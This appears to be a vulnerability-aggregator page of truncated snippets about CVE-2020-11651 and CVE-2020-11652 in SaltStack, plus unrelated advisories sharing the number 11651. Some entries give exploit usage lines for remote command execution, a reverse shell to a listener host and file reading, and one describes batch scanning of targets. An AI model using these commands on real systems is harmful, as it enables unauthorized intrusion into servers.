CVE-2020-11651-poc

Exploit PoC para CVE-2020-11651 y CVE-2020-11652 Este es un exploit de prueba de concepto basado en el script de verificación inicial. Úselo para verificar que ha actualizado correctamente sus servidores Salt master a una versión que contiene las correcciones necesarias. Gracias a F-Secure Labs p...

CVE-2020-11651-PoC

CVE-2020-11651-PoC 该仓库包含 CVE-2020-11651 漏洞利用代码，已更新以适配最新版本的 Python 并处理连接错误。 从原始仓库复制的 README 原始仓库 CVE-2020-11651 和 CVE-2020-11652 的 PoC 漏洞利用 这是一个基于最初检查脚本的概念验证漏洞利用。使用它来验证您是否已成功将 Salt master 服务器更新为包含必要修复的版本。 感谢 F-Secure Labs 的研究及报告。 目前，该脚本可用于在 master 及所有连接的 minion 上进行文件系统访问和调度命令。请明智地使用这些权限！ 用法...

salt-vulnerabilities

Perfil de Salt Stack Este perfil verificará que su instalación de salt esté parcheada a un nivel que lo proteja de CVE-2020-11651 y CVE-2020-11652. Lo hace comprobando que los paquetes salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic y salt sean de la versión 3000.2 o superio...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

¿Qué es? Herramienta de escaneo para probar vulnerabilidades de SaltStack CVE-2020-11651 y CVE-2020-11652. Las vulnerabilidades permiten a un atacante que puede conectarse al puerto del "servidor de solicitudes" eludir todos los controles de autenticación y autorización y publicar mensajes de...

CVE-2020-11651-Poc

Esta es una versión actualizada original root@kitploit: git clone https://github.com/jasperla/CVE-2020-11651-poc.git cd CVE-2020-11651-poc Cuando estaba usando el original, me quedé atascado y actualicé el script pov...

cve-2020-11651-exp-plus

使用bash执行 --exec 参数，原来的脚本是/bin/sh，所以有些命令不兼容比如bash反弹shell 2. 原来的代码会获取本地salt-master的版本来判断远程主机是否受影响，很明显的逻辑错误。我直接删掉了相关代码。 3. 添加批量扫描功能 python saltstack.py -b targetsfile.txt --threads 16 ,targetfile.txt内容如下 root@kitploit: 127.0.0.1:4506 192.168.1.1:4506 安装依赖 pip install salt...

CVE-2020-11651-CVE-2020-11652-EXP

Este repositorio no tiene un README...

salt-security-backports

以前のバージョンの公式パッチは以下でリクエストできます: https://www.saltstack.com/lp/request-patch-april-2020/ ⚠ ここのパッチはカスタムであり、公式のものとは異なる場合があります ⚠ サポートされていない Salt バージョン向けのバックポートされたセキュリティパッチ このリポジトリのパッチは以下の CVE に対応しています: CVE-2020-11651 および CVE-2020-11652 - https://labs.f-secure.com/advisories/saltstack-authorization-bypass...

Exploit for CVE-2020-11651

This is an updated verison original...

CVE-2026-11651

An use after free flaw was found in the Network component of the Chromium browser. Upstream bugs: https://code.google.com/p/chromium/issues/detail?id=511736002...

DEBIAN-CVE-2026-11651

Use after free in Network in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-11651

Use after free in Network in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-11651

Technical details are not publicly available in the provided documents. Monitor for updates from vendors and security advisories.

CVE-2026-11651

creationtimestamp| type| source ---|---|--- 2026-06-08 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/google-chrome-multiple-vulnerabilities20260609 2026-06-15 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/microsoft-edge-multiple-vulnerabilities20260616...

RHEL 8 : freerdp (RHSA-2026:11651)

The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:11651 advisory. FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released under the Apache license. The xfreerdp client can connect to...

CVE-2019-11651

Reflected XSS on Micro Focus Enterprise Developer and Enterprise Server, all versions prior to version 3.0 Patch Update 20, version 4.0 Patch Update 12, and version 5.0 Patch Update 2. The vulnerability could be exploited to redirect a user to a malicious page or forge certain types of web reques...

CVE-2025-11651

creationtimestamp| type| source ---|---|--- 2025-10-13 00:04:03+00:00| seen| https://bsky.app/profile/offseq.bsky.social/post/3m2zw2nafsz2m 2026-01-08 19:12:51+00:00| published-proof-of-concept| Telegram/WIp-19cFECHuhwH-OWXRA2nyjK5LkzfngLwe-whBDy50S8...

CVE-2025-11651

Summary: CVE-2025-11651 affects UTT Progress 518G (up to V3v3.2.7-210919-161313). The flaw is in /goform/formRemoteControl, function sub_4247AC, where the Profile argument is mishandled, causing a buffer overflow. This enables remote exploitation; multiple sources note a publicly disclosed exploi...

CVE-2024-11651

A vulnerability was found in EnGenius ENH1350EXT, ENS500-AC and ENS620EXT up to 20241118. It has been classified as critical. Affected is an unknown function of the file /admin/network/wifischedule. The manipulation of the argument wifischeduledayem5 leads to command injection. It is possible to...